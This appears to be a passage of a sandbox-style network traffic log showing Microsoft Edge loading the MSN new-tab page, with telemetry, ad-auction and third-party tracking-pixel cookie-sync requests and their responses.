2025-01-11 06:54:32 UTC	3841	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 31 54 30 36 3a 35 34 3a 33 31 2e 35 36 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 39 63 65 31 39 66 34 2d 35 64 39 37 2d 34 65 37 39 2d 62 64 65 37 2d 38 36 36 37 38 64 66 30 33 65 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 37 30 39 36 32 34 36 30 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.PageView","time":"2025-01-11T06:54:31.567Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"79ce19f4-5d97-4e79-bde7-86678df03e68","epoch":"709624609"},"app":{"locale"
2025-01-11 06:54:33 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=b8227a8623154231867fd24d82856ca9&HASH=b822&LV=202501&V=4&LU=1736578472730; Domain=.microsoft.com; Expires=Sun, 11 Jan 2026 06:54:32 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=003fb99de18c438f99e654d6348b5747; Domain=.microsoft.com; Expires=Sat, 11 Jan 2025 07:24:32 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1158 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 11 Jan 2025 06:54:32 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.11.20	54685	108.159.227.71	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:32 UTC	968	OUT	GET /b2?rn=1736578471573&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1%26content%3D1%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0136911D054E6BFC0E90846C04216AB7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=15091701be8ac68bbcb80111736578472
2025-01-11 06:54:32 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Sat, 11 Jan 2025 06:54:32 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 e006e171539cde52c00d735236295342.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ORD56-P4 X-Amz-Cf-Id: jPjgLF53OoZsf-X2wuqndL8i8cTct54ywO1fAjy3yyX8lDFk5YvE9w==

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.11.20	53665	23.33.85.243	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:32 UTC	419	OUT	OPTIONS /api/report?cat=msn HTTP/1.1 Host: deff.nelreports.net Connection: keep-alive Origin: https://assets.msn.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:33 UTC	333	IN	HTTP/1.1 200 OK Content-Length: 0 Server: Kestrel Date: Sat, 11 Jan 2025 06:54:33 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.f4542117.1736578473.c603a39 Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.11.20	58048	20.125.209.212	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:33 UTC	1238	OUT	GET /c.gif?rnd=1736578471573&udc=true&pg.n=FRE&pg.t=dhp&pg.c=2083&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f7b66e0f99774ee4994a9572d133a3c9&activityId=f7b66e0f99774ee4994a9572d133a3c9&d.imd=false&scr=1024x768&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=1FE748FF748B4324A916C66DF435B563&MUID=0136911D054E6BFC0E90846C04216AB7 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; SM=T
2025-01-11 06:54:33 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 08 Jan 2025 16:37:23 GMT Accept-Ranges: bytes ETag: "dda11c98eb61db1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=0136911D054E6BFC0E90846C04216AB7; domain=.msn.com; expires=Thu, 05-Feb-2026 06:54:33 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=0136911D054E6BFC0E90846C04216AB7; domain=c.msn.com; expires=Thu, 05-Feb-2026 06:54:33 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Sat, 18-Jan-2025 06:54:33 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Sat, 11-Jan-2025 07:04:33 GMT; path=/; SameSite=None; Secure; Date: Sat, 11 Jan 2025 06:54:32 GMT Connection: close Content-Length: 42
2025-01-11 06:54:33 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.11.20	53719	151.101.1.44	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:33 UTC	655	OUT	GET /sg/msn/1/cm?taboola_hm=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= HTTP/1.1 Host: trc.taboola.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:33 UTC	591	IN	HTTP/1.1 200 OK Connection: close Server: nginx Cache-Control: no-cache, no-store Pragma: no-cache P3P: policyref="http://trc.taboola.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true X-Fastly-to-NLB-rtt: 382 Accept-Ranges: bytes Date: Sat, 11 Jan 2025 06:54:33 GMT Via: 1.1 varnish X-SERVICE-VERSION: v1 X-Served-By: cache-chi-kigq8000111-CHI X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1736578473.318868,VS0,VE2 X-vcl-time-ms: 2 transfer-encoding: chunked
2025-01-11 06:54:33 UTC	4	IN	Data Raw: 32 62 0d 0a Data Ascii: 2b
2025-01-11 06:54:33 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;
2025-01-11 06:54:33 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.11.20	54856	64.74.236.223	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:33 UTC	664	OUT	GET /uidmappixel?ext_uid=0136911D054E6BFC0E90846C04216AB7&pname=MSN&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.outbrain.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:33 UTC	375	IN	HTTP/1.1 200 OK date: Sat, 11 Jan 2025 06:54:33 GMT content-length: 0 x-traceid: 459b9415823f0aab61a02b46232e584c set-cookie: obuid=c2d90ce0-3ee7-459e-bd69-07e62925bb82; Max-Age=7776000; Expires=Fri, 11 Apr 2025 06:54:33 GMT; Path=/; Domain=.outbrain.com;SameSite=None;Secure strict-transport-security: max-age=31536000; includeSubDomains; preload connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.11.20	50462	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:33 UTC	592	OUT	OPTIONS /auction HTTP/1.1 Host: srtb.msn.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: cache-control,content-type,x-ms-flightid,x-ms-numberline,x-msedge-clientid,x-msedge-market Origin: https://ntp.msn.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:33 UTC	771	IN	HTTP/1.1 200 OK Vary: Origin Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: cache-control,content-type,x-ms-flightid,x-ms-numberline,x-msedge-clientid,x-msedge-market Access-Control-Allow-Methods: POST Access-Control-Max-Age: 86400 X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: CE4F322D97BD46549DBF49C3D1F1A622 Ref B: CHI30EDGE0122 Ref C: 2025-01-11T06:54:33Z Date: Sat, 11 Jan 2025 06:54:33 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.11.20	64664	13.107.42.14	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:33 UTC	653	OUT	GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/1.1 Host: px.ads.linkedin.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:33 UTC	754	IN	HTTP/1.1 200 OK Content-Length: 95 Content-Type: image/png Set-Cookie: bcookie="v=2&09c81158-a5b3-4336-8a63-7cc6eaa389ee"; domain=.linkedin.com; Path=/; Secure; Expires=Sun, 11-Jan-2026 06:54:33 GMT; SameSite=None Set-Cookie: lidc="b=OGST02:s=O:r=O:a=O:p=O:g=3440:u=1:x=1:i=1736578473:t=1736664873:v=2:sig=AQEX1C537yoWNs2__6_0AqD9YdPu1gnL"; Expires=Sun, 12 Jan 2025 06:54:33 GMT; domain=.linkedin.com; Path=/; SameSite=None; Secure LinkedIn-Action: 1 X-Li-Fabric: prod-lor1 X-Li-Pop: afd-prod-lor1-x X-Li-Proto: http/1.1 X-LI-UUID: AAYraK8HnLv8qgCJp5q2Ng== X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 823E935FAF53428CBBC8BF2053190DDA Ref B: CHI30EDGE0421 Ref C: 2025-01-11T06:54:33Z Date: Sat, 11 Jan 2025 06:54:32 GMT Connection: close
2025-01-11 06:54:33 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.11.20	64133	23.78.12.23	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:33 UTC	661	OUT	GET /cksync.php?type=nms&cs=3&ovsid=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= HTTP/1.1 Host: hbx.media.net Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:33 UTC	948	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 59 Content-Type: image/gif Set-Cookie: visitor-id=3795800736047444000V10; Expires=Sun, 11 Jan 2026 06:54:33 GMT; domain=.media.net; Path=/; sameSite=none; secure=true Set-Cookie: data-nms=0136911D054E6BFC0E90846C04216AB7~~3;Expires=Sun, 11 Jan 2026 06:54:33 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 Timing-Allow-Origin: * Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Sat, 11 Jan 2025 06:54:33 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 11 Jan 2025 06:54:33 GMT Connection: close
2025-01-11 06:54:33 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2025-01-11 06:54:33 UTC	16	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.11.20	62695	104.19.129.76	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:33 UTC	670	OUT	GET /m?cdsp=516415&c=0136911D054E6BFC0E90846C04216AB7&mode=inverse&msn_src=ntp&&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.mgid.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:33 UTC	347	IN	HTTP/1.1 400 Bad Request Date: Sat, 11 Jan 2025 06:54:33 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 11 Connection: close CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=15552000; includeSubDomains; preload X-Robots-Tag: noindex Server: cloudflare CF-RAY: 9002ff0428621cf4-ORD alt-svc: h3=":443"; ma=86400
2025-01-11 06:54:33 UTC	11	IN	Data Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.11.20	61880	34.235.241.123	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:33 UTC	612	OUT	GET /sync/msn?gdpr=0&gdpr_consent= HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:33 UTC	778	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:54:33 GMT Content-Type: image/gif Content-Length: 43 Connection: close Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBKkVgmcCEDDSGKjjP3ShlIgwDBTXDL0FEgEBAQFng2eLZwAAAAAA_eMAAA&S=AQAAAvHEGzBf9lmp4FltzGdJ_To; Expires=Sun, 11 Jan 2026 12:54:33 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2025-01-11 06:54:33 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 cc cc cc ff ff ff 21 f9 04 05 14 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.11.20	51950	52.223.22.214	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:33 UTC	649	OUT	GET /mapuid?suid=0136911D054E6BFC0E90846C04216AB7&sid=16&gdpr=0&gdpr_consent= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:33 UTC	636	IN	HTTP/1.1 302 Found Date: Sat, 11 Jan 2025 06:54:33 GMT Content-Length: 0 Connection: close Location: /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy= Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=46762353744943238752; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Fri, 11 Apr 2025 06:54:33 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=46762353744943238752; Max-Age=7776000; Expires=Fri, 11 Apr 2025 06:54:33 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.11.20	63297	35.245.40.102	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:33 UTC	719	OUT	GET /visitor/sync?uid=9871605be8d4b2a982914bf5c9348e7b&name=MSN&visitor=0136911D054E6BFC0E90846C04216AB7&external=true&gdpr=0&gdpr_consent= HTTP/1.1 Host: visitor.omnitagjs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:34 UTC	534	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 49 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: 0 P3p: CP="CAO PSA OUR" Pragma: no-cache Set-Cookie: ayl_visitor=d1136e668cc91aa4e648815adb3feb55; Path=/; Domain=omnitagjs.com; Max-Age=2592000; Secure; SameSite=None Vary: Accept-Encoding X-Content-Type-Options: nosniff Date: Sat, 11 Jan 2025 06:54:34 GMT X-Kong-Upstream-Latency: 146 X-Kong-Proxy-Latency: 0 Via: kong/3.6.1 X-Kong-Request-Id: 5c5b5e49e79ce47e20e0fa2d31c17747
2025-01-11 06:54:34 UTC	49	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 91 00 00 ff ff ff ff ff ff fe 01 02 00 00 00 21 f9 04 04 14 00 ff 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.11.20	49210	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:33 UTC	3710	OUT	POST /auction HTTP/1.1 Host: srtb.msn.com Connection: keep-alive Content-Length: 3001 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" X-MSEdge-ClientID: 0136911D054E6BFC0E90846C04216AB7 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 x-ms-flightId: msnallexpusers,prg-sp-liveapi,prg-fin-compof,prg-fin-hpoflio,prg-fin-poflio,prg-1sw-cc-calfeedic,ads-cfv4,1s-pnpfedloccf,pnpwxexpire360,bing_v2_scope,prg-1sw-sacfx2tc,prg-1sw-sa-capconf3t4,prg-1sw-sa-sp7-tcc,prg-1sw-rpdlaunch-5,prg-fin-cleftra,routefinanceprod,routergraphprod,prg-adspeek,prg-1sw-header-event,prg-pr2-widget-tab,f-rel-all,1s-fcrypt,1s-ntf1-pacerscale1,1s-ntf1-pacercand,1s-wpo-dmsdpr2,1s-wpo-pr2-dmsd,prg-1sw-dmpren,prg-1sw-sdcdp2,1s-ntf2-evlcfc,1s-ntf2-bknlc,1s-ntf2-iptlc,1s-pr2-evlc,1s-pr2-evlcbb,1s-pr2-evlch,1s-pr2-evlcn,1s-pr2-evlcrp,1s-pr2-evlct,1s-prg2-lifecycle,1s-wpo-pr2-ncard,1s-wpo-pr2-pnpfilter,1s-wpo-prg2-evlcfpcap2,1s-wpo-prg2-evlcgddn,1s-wpo-prg2-evlct3,prg-1sw-bg-p2,prg-1sw-cmevlt,prg-p2-tf-bdgpv-ai,prg-pr2-fieplc,prg-pr2-trf-rhighimp,prg-pr2-wxevolnoti,prg-upsaip-w1-t,1s-rpssecautht,jj_fac_c,prg-cgp2-hott2,1s-cg-p2hot3,prg-1sw-dailypop,prg-1sw-trigdw,prg-pr2-trends-t1,1s-p2-lsawidget-c,1s-wpo-pr1-r1infpctl,cptest-msn-muid-c,1s-notifmapping,1s-shp-rc-te-combo1,1s-shp [TRUNCATED] Content-Type: application/json X-MSEdge-Market: en-us Cache-Control: no-cache X-ms-numberline: moneyhz3=ads-cfv4,5qos=ads-nopostsq-t,5sov=ads-usepme,5ui9=ads-anjson-migt,63hy=ads-nooutbrain,649x=ads-prcrid-bi,66ky=ads-fbk-gserver,6965=ads-bcn-cndomain sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
